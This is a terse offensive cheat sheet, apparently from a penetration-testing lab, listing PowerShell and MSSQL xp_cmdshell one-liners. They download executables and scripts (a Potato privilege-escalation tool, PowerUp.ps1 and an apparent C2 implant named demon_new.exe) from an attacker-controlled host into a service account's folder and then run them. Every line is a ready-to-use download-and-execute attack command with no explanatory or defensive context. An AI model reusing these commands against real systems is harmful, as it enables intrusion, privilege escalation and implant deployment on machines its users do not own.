Powershell for exe file
Downloading file to particular folder
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://10.10.15.57:443/PetitPotato.exe', 'C:\Users\svc_sql\Documents\PetitPotato.exe')"
powershell -noprofile C:\Users\svc_sql\Documents\demon_new.exe
Powershell for ps1 file
Downloading file to particular folder
powershell -Command "(New-Object Net.WebClient).DownloadString('http://10.10.15.57:443/PowerUp.ps1') | Out-File -Append 'C:\Users\svc_sql\Documents\PowerUp.ps1'"
MSSQL Powershell exe file
Downloading file to particular folder
EXEC xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''http://10.10.15.207:4443/demon_new.exe'', ''C:\Users\svc_sql\Documents\demon_new.exe'')"'
EXEC xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''http://10.10.15.207:80/CASUAL_PLATFORM.exe'', ''C:\Users\svc_sql\Documents\CASUAL_PLATFORM.exe'')"'
EXEC xp_cmdshell 'powershell -noprofile C:\Users\svc_sql\Documents\demon_new.exe'
EXEC xp_cmdshell 'powershell -noprofile C:\Users\svc_sql\Documents\CASUAL_PLATFORM.exe'